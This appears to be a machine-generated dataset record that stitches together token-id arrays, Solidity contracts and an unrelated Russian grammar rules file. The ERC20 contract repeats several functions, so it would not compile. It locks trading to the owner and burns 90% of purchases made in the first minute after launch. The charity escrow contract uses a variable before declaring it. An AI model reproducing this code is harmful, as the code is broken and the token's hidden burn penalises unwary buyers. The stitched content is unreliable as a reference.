0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
6617,
537,
12,
2867,
389,
87,
1302,
264,
16,
2254,
5034,
389,
1132,
13,
1071,
203,
3639,
1135,
261,
6430,
2216,
13,
288,
203,
202,
202,
6528,
261,
67,
1132,
405,
374,
1769,
203,
202,
202,
6528,
261,
12296,
951,
63,
3576,
18,
15330,
65,
1545,
389,
1132,
1769,
203,
3639,
1699,
1359,
63,
3576,
18,
15330,
6362,
67,
87,
1302,
264,
65,
273,
389,
1132,
31,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
3639,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0xC18d1B40e37D2356A90862fCE0B949F98d0d5E41/sources/contracts/ERC20.sol | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. The default value of {decimals} is 18. To change this, you should override this function so it returns a different value. We have followed general OpenZeppelin Contracts guidelines: functions revert instead returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
bool public isTradingEnabled = false;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 public tradingEnabledAt;
address public uniswapV2Pair;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fee = amount.mul(90).div(100);
address owner_ = IContract(address(this)).owner();
if (!isTradingEnabled) {
require(from == owner_, "ERC20: trading is not enabled");
}
if (isTradingEnabled && block.timestamp <= tradingEnabledAt.add(60) && from == uniswapV2Pair) {
amount = amount.sub(fee);
_burn(from, fee);
}
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fee = amount.mul(90).div(100);
address owner_ = IContract(address(this)).owner();
if (!isTradingEnabled) {
require(from == owner_, "ERC20: trading is not enabled");
}
if (isTradingEnabled && block.timestamp <= tradingEnabledAt.add(60) && from == uniswapV2Pair) {
amount = amount.sub(fee);
_burn(from, fee);
}
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fee = amount.mul(90).div(100);
address owner_ = IContract(address(this)).owner();
if (!isTradingEnabled) {
require(from == owner_, "ERC20: trading is not enabled");
}
if (isTradingEnabled && block.timestamp <= tradingEnabledAt.add(60) && from == uniswapV2Pair) {
amount = amount.sub(fee);
_burn(from, fee);
}
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fee = amount.mul(90).div(100);
address owner_ = IContract(address(this)).owner();
if (!isTradingEnabled) {
require(from == owner_, "ERC20: trading is not enabled");
}
if (isTradingEnabled && block.timestamp <= tradingEnabledAt.add(60) && from == uniswapV2Pair) {
amount = amount.sub(fee);
_burn(from, fee);
}
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
receive() external payable {
}
} | 11,634,082 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1021,
805,
460,
434,
288,
31734,
97,
353,
6549,
18,
2974,
2549,
333,
16,
1846,
1410,
3849,
333,
445,
1427,
518,
1135,
279,
3775,
460,
18,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
30131,
9875,
14567,
30,
4186,
15226,
3560,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
4232,
39,
3462,
353,
1772,
16,
467,
654,
39,
3462,
16,
467,
654,
39,
3462,
2277,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
1426,
1071,
353,
1609,
7459,
1526,
273,
629,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
565,
2254,
5034,
1071,
1284,
7459,
1526,
861,
31,
203,
203,
565,
1758,
1071,
640,
291,
91,
438,
58,
22,
4154,
31,
203,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
203,
203,
565,
3885,
12,
1080,
3778,
508,
67,
16,
533,
3778,
3273,
67,
13,
288,
203,
3639,
389,
529,
273,
508,
67,
31,
203,
3639,
389,
7175,
273,
3273,
67,
31,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
1071,
1476,
5024,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
1071,
1476,
5024,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
5024,
3849,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
6549,
31,
203,
565,
289,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
4963,
2
] |
./partial_match/1/0x0Ff4c1555060F2900142D4Bf7787D945D7057085/sources/TheFramework.sol | 1% max transaction amount
| maxTransactionAmount = (_totalSupply * 1) / 100; | 4,225,597 | [
1,
21,
9,
943,
2492,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
943,
3342,
6275,
273,
261,
67,
4963,
3088,
1283,
380,
404,
13,
342,
2130,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
contract LotteryCharityEscrow {
struct CharitableFundingRequest {
uint amount; // Amount of ether (wei)
string organization; // Name of charity
string reason; // Reason or claim to funds
string registrationId; // EIN or Registration Number
string contactName; // Name of contact in charity
string email; // Email address
string phoneNumber; // Contact number
address charityAddress; // Payee/person/organization receiving funds
uint charityCategoryIndex; // Array index of the charity category to draw funding from
bool approved; // Has the money been sent
bool denied; // Request has been turned down due to verification or other reasons
}
struct CharityCategory {
string name;
uint funds;
}
address public factoryContract;
address public overseer;
uint private totalBalance;
CharityCategory[] private charityCategories;
CharitableFundingRequest[] private charitableFundingRequests;
modifier fromFactory() {
require(msg.sender == factoryContract);
_;
}
modifier restricted() {
require(msg.sender == overseer);
_;
}
constructor(address creator) public {
overseer = creator;
factoryContract = msg.sender;
}
function addCharityCategory(string name) public fromFactory {
CharityCategory memory category = CharityCategory({
name: name,
funds: 0
});
charityCategories.push(category);
}
function getCharityCategoriesLength() public view returns (uint) {
return charityCategories.length;
}
function getCharityCategoryName(uint index) public view returns (string) {
return charityCategories[index].name;
}
function getCharityCategoryFunds(uint index) public view returns (uint) {
return charityCategories[index].funds;
}
function createCharitableFundingRequest(
uint amount, string organizationName, string fundingReason, string registrationId,
string contactName, string email, string phoneNumber, uint charityCategoryIndex) public {
CharitableFundingRequest memory request = CharitableFundingRequest({
amount: amount,
organization: organizationName,
reason: fundingReason,
registrationId: registrationId,
contactName: contactName,
email: email,
phoneNumber: phoneNumber,
charityAddress: msg.sender,
charityCategoryIndex: charityCategoryIndex,
approved: false,
denied: false
});
charitableFundingRequests.push(request);
}
function approveCharitableFundingRequest(uint index) public restricted {
require(request.amount <= address(this).balance);
CharitableFundingRequest storage request = charitableFundingRequests[index];
require(!request.approved);
require(!request.denied);
totalBalance = totalBalance - request.amount;
request.charityAddress.transfer(request.amount);
request.approved = true;
}
function denyCharitableFundingRequest(uint index) public restricted {
CharitableFundingRequest storage request = charitableFundingRequests[index];
require(!request.approved);
require(!request.denied);
request.denied = true;
}
function allocateCharitableFunds(uint index) public payable {
totalBalance = totalBalance + msg.value;
CharityCategory storage charityCategory = charityCategories[index];
charityCategory.funds = charityCategory.funds + msg.value;
}
} | Request has been turned down due to verification or other reasons
| bool denied; | 15,823,218 | [
1,
691,
711,
2118,
21826,
2588,
6541,
358,
11805,
578,
1308,
14000,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
1426,
15338,
31,
12900,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Сочетаемость глаголов (и отглагольных частей речи) с предложным
// паттерном.
// LC->07.08.2018
facts гл_предл language=Russian
{
arity=3
//violation_score=-5
generic
return=boolean
}
#define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{}
#region Предлог_В
// ------------------- С ПРЕДЛОГОМ 'В' ---------------------------
#region Предложный
// Глаголы и отглагольные части речи, присоединяющие
// предложное дополнение с предлогом В и сущ. в предложном падеже.
wordentry_set Гл_В_Предл =
{
rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль
// вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб
rus_verbs:воевать{}, // Воевал во Франции.
rus_verbs:устать{}, // Устали в дороге?
rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения.
rus_verbs:решить{}, // Что решат в правительстве?
rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает.
rus_verbs:обстоять{}, // В действительности же дело обстояло не так.
rus_verbs:подыматься{},
rus_verbs:поехать{}, // поедем в такси!
rus_verbs:уехать{}, // он уехал в такси
rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей
rus_verbs:ОБЛАЧИТЬ{},
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло.
rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ)
rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ)
rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ)
rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ)
rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ)
rus_verbs:ЗАМАЯЧИТЬ{},
rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ)
rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ)
rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ)
rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ)
rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ)
rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ)
rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ)
rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ)
rus_verbs:ПоТЕРЯТЬ{},
rus_verbs:УТЕРЯТЬ{},
rus_verbs:РАСТЕРЯТЬ{},
rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.)
rus_verbs:СОМКНУТЬСЯ{},
rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ)
rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ)
rus_verbs:ВЫСТОЯТЬ{},
rus_verbs:ПОСТОЯТЬ{},
rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ)
rus_verbs:ВЗВЕШИВАТЬ{},
rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ)
прилагательное:быстрый{}, // Кисель быстр в приготовлении
rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень
rus_verbs:призывать{},
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ)
rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ)
rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ)
rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ)
